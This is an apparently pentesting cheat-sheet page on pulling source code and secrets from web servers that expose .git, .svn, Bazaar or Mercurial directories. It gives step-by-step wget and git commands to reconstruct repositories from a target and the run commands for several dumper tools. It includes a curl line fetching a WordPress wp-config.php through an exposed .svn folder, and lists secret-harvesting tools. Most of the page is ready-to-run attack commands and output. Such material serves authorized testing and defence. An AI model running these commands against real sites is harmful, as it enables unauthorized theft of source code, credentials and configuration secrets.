Insecure source code management

Git

The following examples will create either a copy of the .git or a copy of the current commit.

Check for the following files, if they exist you can extract the .git folder.

- .git/config
- .git/HEAD
- .git/logs/HEAD

Example

Recovering file contents from .git/logs/HEAD

1. Check for 403 Forbidden or directory listing to find the `/.git/` directory
2. Git saves all information in `.git/logs/HEAD` (try lowercase `head` too)

```
0000000000000000000000000000000000000000
15ca375e54f056a576905b41a417b413c57df6eb root <root@dfc2eabdf236.(none)>
1455532500 +0000        clone: from https://github.com/fermayo/hello-world-
lamp.git
15ca375e54f056a576905b41a417b413c57df6eb
26e35470d38c4d6815bc4426a862d5399f04865c Michael <michael@easyctf.com>
1489390329 +0000        commit: Initial.
26e35470d38c4d6815bc4426a862d5399f04865c
6b4131bb3b84e9446218359414d636bda782d097 Michael <michael@easyctf.com>
1489390330 +0000        commit: Whoops! Remove flag.
6b4131bb3b84e9446218359414d636bda782d097
a48ee6d6ca840b9130fbaa73bbf55e9e730e4cfd Michael <michael@easyctf.com>
1489390332 +0000        commit: Prevent directory listing.
```

3. Access the commit using the hash

```
# create an empty .git repository
git init test
cd test/.git

# download the file
wget http://web.site/.git/objects/26/e35470d38c4d6815bc4426a862d5399f04865c

# first byte for subdirectory, remaining bytes for filename
mkdir .git/object/26
mv e35470d38c4d6815bc4426a862d5399f04865c .git/objects/26/

# display the file
git cat-file -p 26e35470d38c4d6815bc4426a862d5399f04865c
    tree 323240a3983045cdc0dec2e88c1358e7998f2e39
    parent 15ca375e54f056a576905b41a417b413c57df6eb
    author Michael <michael@easyctf.com> 1489390329 +0000
    committer Michael <michael@easyctf.com> 1489390329 +0000
    Initial.
```

4. Access the tree 323240a3983045cdc0dec2e88c1358e7998f2e39

```
wget http://web.site/.git/objects/32/3240a3983045cdc0dec2e88c1358e7998f2e39
mkdir .git/object/32
mv 3240a3983045cdc0dec2e88c1358e7998f2e39 .git/objects/32/

git cat-file -p 323240a3983045cdc0dec2e88c1358e7998f2e39
    040000 tree bd083286051cd869ee6485a3046b9935fbd127c0        css
    100644 blob cb6139863967a752f3402b3975e97a84d152fd8f        flag.txt
    040000 tree 14032aabd85b43a058cfc7025dd4fa9dd325ea97        fonts
    100644 blob a7f8a24096d81887483b5f0fa21251a7eefd0db1        index.html
    040000 tree 5df8b56e2ffd07b050d6b6913c72aec44c8f39d8        js
```

5. Read the data (flag.txt)

```
wget http://web.site/.git/objects/cb/6139863967a752f3402b3975e97a84d152fd8f
mkdir .git/object/cb
mv 6139863967a752f3402b3975e97a84d152fd8f .git/objects/32/
git cat-file -p cb6139863967a752f3402b3975e97a84d152fd8f
```

Recovering file contents from .git/index

Use the git index file parser https://pypi.python.org/pypi/gin (python3).

```
pip3 install gin
gin ~/git-repo/.git/index
```

Recover name and sha1 hash of every file listed in the index, and use the same process above to recover the file.

```
$ gin .git/index | egrep -e "name|sha1"
name = AWS Amazon Bucket S3/README.md
sha1 = 862a3e58d138d6809405aa062249487bee074b98

name = CRLF injection/README.md
sha1 = d7ef4d77741c38b6d3806e0c6a57bf1090eec141
```

Tools

Automatic recovery

git-dumper.py

```
git clone https://github.com/arthaud/git-dumper
pip install -r requirements.txt
./git-dumper.py http://web.site/.git ~/website
```

diggit.py

```
git clone https://github.com/bl4de/security-tools/ && cd security-tools/diggit
./diggit.py -u remote_git_repo -t temp_folder -o object_hash [-r=True]
./diggit.py -u http://web.site -t /path/to/temp/folder/ -o
d60fbeed6db32865a1f01bb9e485755f085f51c1

-u is remote path, where .git folder exists
-t is path to local folder with dummy Git repository and where blob content (files)
are saved with their real names (cd /path/to/temp/folder && git init)
-o is a hash of particular Git object to download
```

GoGitDumper

```
go get github.com/c-sto/gogitdumper
gogitdumper -u http://web.site/.git/ -o yourdecideddir/.git/
git log
git checkout
```

rip-git

```
git clone https://github.com/kost/dvcs-ripper
perl rip-git.pl -v -u "http://web.site/.git/"

git cat-file -p 07603070376d63d911f608120eb4b5489b507692
tree 5dae937a49acc7c2668f5bcde2a9fd07fc382fe2
parent 15ca375e54f056a576905b41a417b413c57df6eb
author Michael <michael@easyctf.com> 1489389105 +0000
committer Michael <michael@easyctf.com> 1489389105 +0000

git cat-file -p 5dae937a49acc7c2668f5bcde2a9fd07fc382fe2
```

GitHack

```
git clone https://github.com/lijiejie/GitHack
GitHack.py http://web.site/.git/
```

GitTools

```
git clone https://github.com/internetwache/GitTools
./gitdumper.sh http://target.tld/.git/ /tmp/destdir
git checkout -- .
```

Harvesting secrets

trufflehog

> Searches through git repositories for high entropy strings and secrets, digging deep into commit history.

```
pip install truffleHog # https://github.com/dxa4481/truffleHog
truffleHog --regex --entropy=False https://github.com/dxa4481/truffleHog.git
```

Yar

> Searches through users/organizations git repositories for secrets either by regex, entropy or both. Inspired by the infamous truffleHog.

```
go get github.com/nielsing/yar # https://github.com/nielsing/yar
yar -o orgname --both
```

Gitrob

> Gitrob is a tool to help find potentially sensitive files pushed to public repositories on Github. Gitrob will clone repositories belonging to a user or organization down to a configurable depth and iterate through the commit history and flag files that match signatures for potentially sensitive files.

```
go get github.com/michenriksen/gitrob # https://github.com/michenriksen/gitrob
export GITROB_ACCESS_TOKEN=deadbeefdeadbeefdeadbeefdeadbeefdeadbeef
gitrob [options] target [target2] ... [targetN]
```

Gitleaks

> Gitleaks provides a way for you to find unencrypted secrets and other unwanted data types in git source code repositories.

```
# Run gitleaks against a public repository
docker run --rm --name=gitleaks zricethezav/gitleaks -v -r
https://github.com/zricethezav/gitleaks.git

# Run gitleaks against a local repository already cloned into /tmp/
docker run --rm --name=gitleaks -v /tmp/:/code/  zricethezav/gitleaks -v --repo-
path=/code/gitleaks

# Run gitleaks against a specific Github Pull request
docker run --rm --name=gitleaks -e GITHUB_TOKEN={your token} zricethezav/gitleaks --
github-pr=https://github.com/owner/repo/pull/9000

or

go get -u github.com/zricethezav/gitleaks
```

Subversion

Example (Wordpress)

```
curl http://blog.domain.com/.svn/text-base/wp-config.php.svn-base
```

1. Download the svn database from http://server/path_to_vulnerable_site/.svn/wc.db

   ```
   INSERT INTO "NODES"
   VALUES(1,'trunk/test.txt',0,'trunk',1,'trunk/test.txt',2,'normal',NULL,NULL,'fil
   e',X'2829',NULL,'$sha1$945a60e68acc693fcb74abadb588aac1a9135f62',NULL,2,14560563
   44886288,'bl4de',38,1456056261000000,NULL,NULL);
   ```

2. Download interesting files
    - remove $sha1$ prefix
    - add .svn-base postfix
    - use first byte from hash as a subdirectory of the `pristine/` directory (`94` in this case)
    - create complete path, which will be: `http://server/path_to_vulnerable_site/.svn/pristine/94/945a60e68acc693fcb74abadb588aac1a9135f62.svn-base`

Tools

svn-extractor

```
git clone https://github.com/anantshri/svn-extractor.git
python svn-extractor.py –url "url with .svn available"
```

Bazaar

Tools

rip-bzr.pl

```
wget https://raw.githubusercontent.com/kost/dvcs-ripper/master/rip-bzr.pl
docker run --rm -it -v /path/to/host/work:/work:rw k0st/alpine-dvcs-ripper rip-bzr.pl
-v -u
```

bzr_dumper

```
git clone https://github.com/SeahunOh/bzr_dumper
python3 dumper.py -u "http://127.0.0.1:5000/" -o source
Created a standalone tree (format: 2a)
[!] Target : http://127.0.0.1:5000/
[+] Start.
[+] GET repository/pack-names
[+] GET README
[+] GET checkout/dirstate
[+] GET checkout/views
[+] GET branch/branch.conf
[+] GET branch/format
[+] GET branch/last-revision
[+] GET branch/tag
[+] GET b'154411f0f33adc3ff8cfb3d34209cbd1'
[*] Finish

$ bzr revert
 N  application.py
 N  database.py
 N  static/
```

Mercurial

Tools

rip-hg.pl

```
wget https://raw.githubusercontent.com/kost/dvcs-ripper/master/rip-hg.pl
docker run --rm -it -v /path/to/host/work:/work:rw k0st/alpine-dvcs-ripper rip-hg.pl -v -u
```

References

- bl4de, hidden_directories_leaks
- bl4de, diggit
- Gitrob: Now in Go - Michael Henriksen